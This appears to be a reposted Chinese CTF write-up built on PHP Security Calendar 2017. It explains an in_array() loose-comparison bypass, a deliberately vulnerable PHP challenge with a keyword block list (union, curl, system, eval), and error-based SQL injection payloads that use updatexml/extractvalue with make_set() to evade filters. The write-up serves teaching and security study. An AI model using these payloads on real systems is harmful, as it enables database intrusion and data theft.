由PHP SECURITY CALENDAR 2017引发的思考总结

栏目: PHP · 发布时间: 5年前

内容简介:参数 | 描述| :------ | :------ || search | 必需。规定要在数组搜索的值。 |
  • 作者: panda
  • 浏览次数: 45
  • 时间:
  • in_array(search,array,type)

    参数 | 描述

    | :------ | :------ |

    | search | 必需。规定要在数组搜索的值。 |

    | array | 必需。规定要搜索的数组。 |

    | type | 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。 |

    说明

    如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。 如果没有在数组中找到参数,函数返回 false。

    注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

    在上例代码中:

    in_array($this->file['name'], $this->whitelist)

    传入了两个参数,第三个参数未设置为"true",也就是说,只需要将变量name设置为数字开头的文件名,就可以绕过检测

    如:9shell.php

    这样的话,PHP在将文件名与数组$ whitelist进行比较时,会将9shell.php转化为9,然后再进行比较。

    0x02 深思

    可以拿一个ctf的例子来详细阐述:

    //index.php
    <?php
    include 'config.php';
    $conn = new mysqli($servername, $username, $password, $dbname);
    if ($conn->connect_error) {
        die("连接失败: ");
    }
    
    $sql = "SELECT COUNT(*) FROM users";
    $whitelist = array();
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        $whitelist = range(1, $row['COUNT(*)']);
    }
    
    $id = stop_hack($_GET['id']);
    $sql = "SELECT * FROM users WHERE id=$id";
    
    if (!in_array($id, $whitelist)) {
        die("id $id is not in whitelist.");
    }
    
    $result = $conn->query($sql);
    if($result->num_rows > 0){
        $row = $result->fetch_assoc();
        echo "<center><table border='1'>";
        foreach ($row as $key => $value) {
            echo "<tr><td><center>$key</center></td><br>";
            echo "<td><center>$value</center></td></tr><br>";
        }
        echo "</table></center>";
    }
    else{
        die($conn->error);
    }
    
    ?>
    //config.php
    <?php  
    $servername = "localhost";
    $username = "fire";
    $password = "fire";
    $dbname = "day1";
    
    function stop_hack($value){
        $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
        $back_list = explode("|",$pattern);
        foreach($back_list as $hack){
            if(preg_match("/$hack/i", $value))
                die("$hack detected!");
        }
        return $value;
    }
    ?>

    题目大概的思路就是通过.Svn源码泄露,获取index.php和config.php文件,config.php的关键信息被隐藏,需要审计源码来构造playload获取flag。

    首先看下index.php文件,通过get传入id的值,然后判断传入的id是否在whitelist中,如果不在,返回 id $id is not in whitelist. 如果在,那么执行 SQL 语句,最后返回查询的内容。

    Config.php文件关键点在于一点,stop_hack函数,这是一个过滤函数,主要过滤了字符串拼接函数,导致我们没法直接通过union selct或者常见的hex()等方式来得到flag。

    实际上,这道题考察的内容点为in_array()函数绕过以及不使用字符串拼接来获取flag信息。

    In_array()这里就不用说了,通过上面的例子应该很容易理解如何绕过,这里主要说下如何使用updatexml注入来获取flag。

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值

    举个实例的话,大概如下:

    select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);

    由PHP SECURITY CALENDAR 2017引发的思考总结 这里需要提下:Updatexml函数有个特性,当 updatexml 查询的数据中包含特殊字符或者字母,就会报错,报错信息为特殊字符、字母及之后的内容,如:查询的数据为99panda,那么结果只会显示panda。

    因此这里通过查询database(),返回数据库名,然后CONCAT将其字符串化。因为UpdateXml第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

    最后返回为:

    ERROR 1105 (HY000): XPATH syntax error: '|day1|'

    但是这里遇到一个问题,前面也提到了,字符串拼接函数被过滤了,因此无法使用concat等函数构造语句,只能选择使用不常用的函数——make_set()函数

    MAKE_SET(bits,str1,str2,…)

    返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0,str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。

    由PHP SECURITY CALENDAR 2017引发的思考总结

    举个几个简单的例子,

    由PHP SECURITY CALENDAR 2017引发的思考总结
    Select make_set(1,'a','b','c');

    转换过程如下:

    由PHP SECURITY CALENDAR 2017引发的思考总结

    这里bits参数将转为二进制,1的二进制为0001,倒过来为1000,取比特位为1的字符,若该比特位为空,则不取。所以最终打印a.

    由PHP SECURITY CALENDAR 2017引发的思考总结
    Select make_set(1|4,'a','b','c');

    和上述过程类似,不过这里多了一个"|"运算。

    1的二进制为 0001

    4的二进制为 0100

    两者进行或运算:

    由PHP SECURITY CALENDAR 2017引发的思考总结

    结果为0101,然后再进行翻转,为1010,最后输出的结果为a,c

    综上,updatexml配合make_set()函数来进行处理字符串:

    select updatexml(1,make_set(3,'~',(select flag from flag)),1);

    拼接到playload的最终为:

    由PHP SECURITY CALENDAR 2017引发的思考总结
    1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

    0x03 总结

    实际上,updatexml并不是此题的唯一解法。

    与updatexml相对应的还有一个函数——extractvalue()

    Extractvalue()的详细内容这里就不介绍了,有兴趣的朋友可以执行Google

    利用这个函数,同样可以构造 MySQL 语句为:

    由PHP SECURITY CALENDAR 2017引发的思考总结
    select extractvalue(0x0a,concat(0x0a,( select flag from flag)));

    不过同样需要concat函数,因此改成make_set():

    由PHP SECURITY CALENDAR 2017引发的思考总结
    select extractvalue(0x0a,make_set(3,'~',(select flag from flag)));

    最终playload为:

    由PHP SECURITY CALENDAR 2017引发的思考总结
    1 and (select extractvalue(0x0a,make_set(3,'~',(select flag from flag))))

    当然,make_set()同样不是唯一的,与此类似的还有export_set()、lpad()、reverse()、repeat(),只不过后三个函数用起来有强制要求:所查询的值中,必须至少含有一个特殊字符。

    若使用export_set()代替make_set()函数,最终playload为:

    1 and (select extractvalue(0x0a,export_set(3,'~',(select flag from flag))))

    却发现:

    由PHP SECURITY CALENDAR 2017引发的思考总结

    但是使用MySQL直接查询是可以的:

    由PHP SECURITY CALENDAR 2017引发的思考总结 仔细看了一番,发现export_set()中含有or两个字母,or是被过滤掉的,因此这里不行

    0x04 参考

    PHP SECURITY CALENDAR 2017

    MySQL MAKE_SET() function

    MySQL updatexml报错注入

    学习基于extractvalue()和updatexml()的报错注入

    PHP-Audit-Labs

    updatexml injection without concat


    以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

    查看所有标签

    猜你喜欢:

    本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

    Discrete Mathematics and Its Applications

    Discrete Mathematics and Its Applications

    Kenneth H Rosen / McGraw-Hill Science/Engineering/Math / 2003-04-22 / USD 132.81

    Discrete Mathematics and its Applications is a focused introduction to the primary themes in a discrete mathematics course, as introduced through extensive applications, expansive discussion, and deta......一起来看看 《Discrete Mathematics and Its Applications》 这本书的介绍吧!

    XML、JSON 在线转换
    XML、JSON 在线转换

    在线XML、JSON转换工具

    UNIX 时间戳转换
    UNIX 时间戳转换

    UNIX 时间戳转换

    HEX HSV 转换工具
    HEX HSV 转换工具

    HEX HSV 互换工具